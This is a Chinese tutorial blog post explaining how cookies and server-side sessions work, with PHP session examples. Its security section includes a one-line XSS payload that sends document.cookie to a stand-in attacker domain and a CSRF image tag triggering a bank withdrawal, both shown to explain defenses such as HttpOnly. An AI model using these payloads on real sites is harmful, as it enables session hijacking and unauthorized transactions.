转载请备注来源: 《cookie和session机制详解》 | shuwoom.com

Cookie机制

Cookie的历史

Cookie,又称为“小饼干”,是一个小型的文本文件。在Web技术发展史上,Cookie技术的出现是一个重大的变革。在早期的时候,Web应用面临的其中一大难题就是如何维持状态,也就是说,服务器无法知道两个请求是否来自同一个浏览器。在当时,一个简单的办法是在请求的url中插入token,例如:http://a.com/user?name=shuwoom&token=1,然后在下次请求的时候将这个token返回给服务器。这需要在页面的form表单中插入一个包含token的隐藏域,或者将token放在URL的query字符串中来传递。这两种方法都需要手动操作,而且容易出错。

当时,网景公司的一名员工Lou Montulli,为了解决online shopping cart的问题,将通过Server端身份认证的身份识别信息存储在浏览器客户端,以后每次进入网站检查存储在Cookie的认证资料就可以了,减少了用户重复的登录与身份认证的问题。他的原始说明文档提供了 cookie 工作原理的基本信息,该文档后来被作为规范纳入到 RFC 2109(大多数浏览器的实现参考文档)中,最终被纳入到 RFC 2965 中。Montulli 也被授予 cookie 的美国专利。网景浏览器在它的第一个版本中就开始支持 cookie,从那时起,WWW协会就开始支持Cookie标准。直到现在,绝大多数的浏览器都支持Cookie技术。

Cookie的定义

Cookie是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。通常,它用户告知服务器端两个请求是否来自同一浏览器,如保持用户的登录状态。Cookie使得基于无状态的HTTP(无状态的HTTP说明:例如通过页面A登录后,跳转到页面B,又提示你去登录)协议记录稳定的状态信息成为了可能。

如下图所示,每次请求在Request Headers中都会带上Cookie。

如果想查看网页的Cookie内容,首先打开访问一个网站,网站加载完后,在浏览器的输入地址中输入如下Javasc命令:

javascript:alert("Cookie:"+document.cookie)

按下回车键后,就会弹出一个提示框,提示框内的文本就是你浏览器保存的Cookie信息。如下图所示:

cookie信息

Cookie的作用

在上面我们介绍了Cookie的定义,它主要是保存用户信息。具体来说,Cookie有以下两个作用:

1、识别用户身份

2、记录历史

例如a.com是一个购物网站,当用户A在上面将A1、A2加入购物车时,浏览器可以修改Cookie添加这两个购物记录,如Cookie:uid=1;cart=A1,A2,表示用户A购物车里有A1和A2两样商品,而我们在上面知道,Cookie实际上是浏览器保存的一个本地小本件。这样即使用户切换到其他网站或者关闭网页再打开,用户依然可以看到A1和A2在购物车里,这个也是京东、淘宝等电商网站购物车的原理。然后接下来用户在下单时,浏览器在请求服务器的时候,就会将Cookie:uid=1;cart=A1,A2一起发送给服务器,这样网站a.com就知道用户A购买的商品。

Cookie的应用场景

  • 会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
  • 个性化设置(如用户自定义设置、主题等)
  • 浏览器行为跟踪(如跟踪分析用户行为等)

Cookie的缺点

1、我们知道,浏览器每一次请求,都会带上Cookie,而这回带来额外的性能和流量开销。

2、由于HTTP请求中cookie是明文传递的,所以安全性成问题,除非使用HTTPS

3、Cookie的大小限制在4KB左右,对于复杂的存储需求来说不够用。

创建Cookie

当服务器收到HTTP请求时,服务器会在返回的响应头(Response Header)中设置一个Set-Cookie字段。浏览器收到响应后,通常会保存下Cookie,之后再对服务器的每一次请求中都会在请求头(Request Header)中带上Cookie。

一个简单的Cookie可能像下面这样。服务器通过该头部告诉浏览器客户端保存Cookie信息。

Set-Cookie: <cookie名>=<cookie值>

1、Cookie的过期时间

Cookie分为如下两类:

(1)会话期Cookie

会话期Cookie是最简单的Cookie:浏览器关闭之后它会被自动删除,也就是说它仅在会话期内有效。会话期Cookie不需要指定过期时间(Expires)或者有效期(Max-Age)。

(2)持久性Cookie

和关闭浏览器便失效的会话期Cookie不同,持久性Cookie可以指定一个特定的过期时间(Expires)或有效期(Max-Age)。

Set-Cookie: uid=1; Expires=Wed, 21 Jun 2019 07:28:00 GMT;

备注:当Cookie设置了过期时间时,这个过期的清除操作是浏览器客户端操作,跟服务器无关。

2、Cookie的Secure和HttpOnly标记

标记为Secure的Cookie只能通过被HTTPS协议加密过的请求发送给服务端。

标记为HttpOnly标记的Cookie可以使得Cookie信息不能被客户端JavaScript脚本调用,这样使得通过JavaScript的Document.cookie API无法访问带有该HttpOnly标记的Cookie,能减缓XSS攻击。

Set-Cookie: uid=1; Expires=Wed, 21 Jun 2019 07:28:00 GMT; Secure; HttpOnly

3、Cookie的作用域

Domain和Path标识定义了Cookie的作用域:即Cookie应该发送给哪些URL。

Domain标识制定了哪些主机可以接受Cookie。如果不指定,默认为当前网页的主机(不包含子域名)。如果指定了Domain,则一般包含子域名。

例如,如果设置Domain=a.com,则Cookie的作用域也包括子域名(如:img.a.com)。

Path标识制定了主机下的哪些路径可以接受Cookie(该URL路径必须存在于请求URL中)。以”/”作为路径分隔符,子路径也会被匹配。

例如,设置Path=/docs,则以下地址都会被匹配:

/docs
/docs/web/
/docs/web/ http

cookie的安全问题

1、会话劫持和XSS

Cookie在web应用中主要是用来标记用户和授权会话。因此,如果用户的web应用cookie被窃取,可能会导致授权用户的会话受到攻击。常用的窃取cookie的方法有利用社会工程学攻击和利用应用程序漏洞进行XSS攻击。如下:

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

这个问题,我们可以通过HttpOnly属性来限制JavaScript对Cookie的访问从而在一定程度上缓解此类攻击。

2、跨站请求伪造(CSRF)

例如下面的一个请求例子,例如在一些不安全的聊天室或者网站上的一张图片,它实际的链接是向银行发送体现请求:

<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">

当我们在cookie有效的时候打开访问这个链接,你银行里的钱就有可能被自动转走。阻止这类攻击的方法如下:

(1)对用户输入进行过滤来阻止xss
(2)任何敏感操作都需要确认
(3)用于敏感信息的cookie只能拥有短暂的生命周期。详细方法可以查看:OWASP CSRF prevention cheat sheet


Session机制

什么是Session

我们知道HTTP是一种无状态的协议,通过上面内容我们知道,可以通过设置Cookie来设置会话状态。区别于Cookie机制(存储于客户端),Session存储于服务器端,也是一种会话技术,两者的出现都是为了解决HTTP无状态的问题。Cookie技术是客户端的解决方案,它由浏览器来维护;Session技术则是服务端的解决方案,它由服务端来维护。

客户通过浏览器访问了服务器后,服务器会通过生成一个session id,并通过set-cookie返回给浏览器,浏览器收到服务器设置的session id后会保存到浏览器本地,也是就是我们说的Cookie文件。之后的每一次请求访问浏览器,都会在请求头中带上这个Cookie,而服务器则通过这个Cookie带上的session id去session存储中匹配,如果匹配到,则可以获取用户之前的session登录状态,如登录用户名等。因此,用户的状态也就得以保存了。php的php.ini配置文件里可以设置session的路径和回收空置率。

上面介绍的是session的整体工作过程,其交互过程如下图所示:

session机制

Step1:浏览器若第一次访问服务器,则服务端会生成一个新的唯一Session ID
Step2:服务端把Session ID保存在服务器,并记录浏览器相关的用户信息
Step3:服务端把生成的Session ID,通过Set-Cookie设置返回给浏览器
Step4:浏览器收到Session ID,保存到本地(cookie),以后每一次请求都会在请求头带上这个Session ID
Step5:服务端收到浏览器发送的Session ID,从Session存储中匹配找到相应的用户Session状态数据,进行有状态的会话

session函数

1、创建session

session_start ([ array $options = array() ] ) : bool

session_start()用于启动一个会话,会创建新会话或者重用已有的会话。这个函数在第一次启动时,会产生一个随机的session ID,并向浏览器发送一个cookie,所以该函数必须在任何HTML发送给浏览器之前调用,如下:

<?php session_start(); ?>

<html>
<body>

</body>
</html>

2、存储session变量

存储和访问session变量可以通过PHP的$_SESSION变量实现,如下:

<?php
session_start();
// 存储 session 数据
$_SESSION['views']=1;
?>

<html>
<head>
<meta charset="utf-8">
<title>shuwoom.com(shuwoom.com)</title>
</head>
<body>

<?php
// 检索 session 数据
echo "浏览量:". $_SESSION['views'];
?>

</body>
</html>

3、访问session变量

<?php
session_start();

if(isset($_SESSION['views']))
{
    $_SESSION['views']=$_SESSION['views']+1;
}
else
{
    $_SESSION['views']=1;
}
echo "浏览量:". $_SESSION['views'];
?>

4、销毁session

如果想要删除某些session数据,可以通过unset()或者session_destroy()函数。unset()用于释放指定的session变量:

<?php
session_start();
if(isset($_SESSION['views']))
{
    unset($_SESSION['views']);
}
?>

session_destroy()将重置session,会删除所有已存储的session数据,包括$_SESSION、session文件爱你和session_id。

session使用的几个问题

1、Session ID

整个Session机制中,最关键的其实就是Session ID,这个Session ID必须是唯一的,服务端才可以通过Session ID区分不同的用户。如果服务端在生成Session ID的时候有重复,那么就会出现用户使用其他人的帐号进行操作,这个问题是很严重的。

2、Session的存储

通过上面的Session机制的介绍,我们知道,服务端需要使用一定的CPU和内存资源来进行处理和存储,这会导致占用一定的服务端资源,影响服务器的性能。对此,我们可以单独部署静态资源服务器,因为静态资源不存在解决http无状态访问的问题,所以可以将这些静态资源(如:图片、文档、视频等)放到该服务器上,从而不会让出专门的内存和cu资源来处理session,从而更好地提升服务器的性能。

3、Session的同步问题

如果服务端是一个分布式环境,当浏览器访问分布式集群中某个服务器生成session id建立会话,由于负载均衡的重定向,下一次请求有可能访问到集群中的其他服务器,而这台服务器就没有跟浏览器建立过session会话,会导致该服务器无法识别用户信息。所以这里需要对集群中各个服务器的session进行同步,统一维护的问题。

4、Session的锁问题

Session的锁机制,可以避免让两个会话同时修改同一个Session数据的发生,如下表,两个会话同时对同一个session数据进行修改,如果没有锁机制,就会导致会话2修改的数据被会话1覆盖。可以说,session的锁机制解决了数据冲突的问题。

session锁机制

但是,session的锁机制也导致了其他的问题,因为锁机制,会导致多个会话对统一个Session进行修改时,只有1个会话可以修改,其他会话需要等待锁被释放后才能进行修改,这里就会有时间浪费的问题,还是局上面的例子看下,session锁机制的出现,会有什么影响。如下图,可以看到会话1获取到锁后,会话2只能等待会话1才做完释放锁以后才能进行操作。这里因为锁机制的问题,使得操作时间变长,但相应地也避免了数据冲突的问题。

cookie、session总结对比

1、cookie数据存放在浏览器客户端,session数据存放在服务端
2、cookie不安全,可能会遭遇会话劫持、xss或csrf攻击,而session数据存放在服务端相对较安全,考虑到安全方面,应当使用session
3、session的处理和存储会占用一定的cpu和存储资源,当访问增多,会消耗一定的服务器性能。而cookie由于保存在浏览器客户端,考虑到减轻服务器压力方面,应当使用cookie
4、当个cookie保存的数据不能超过4K,一般浏览器都会限制一个站点最多保存20个cookie

转载请备注来源: 《cookie和session机制详解》 | shuwoom.com

打赏

发表评论

电子邮件地址不会被公开。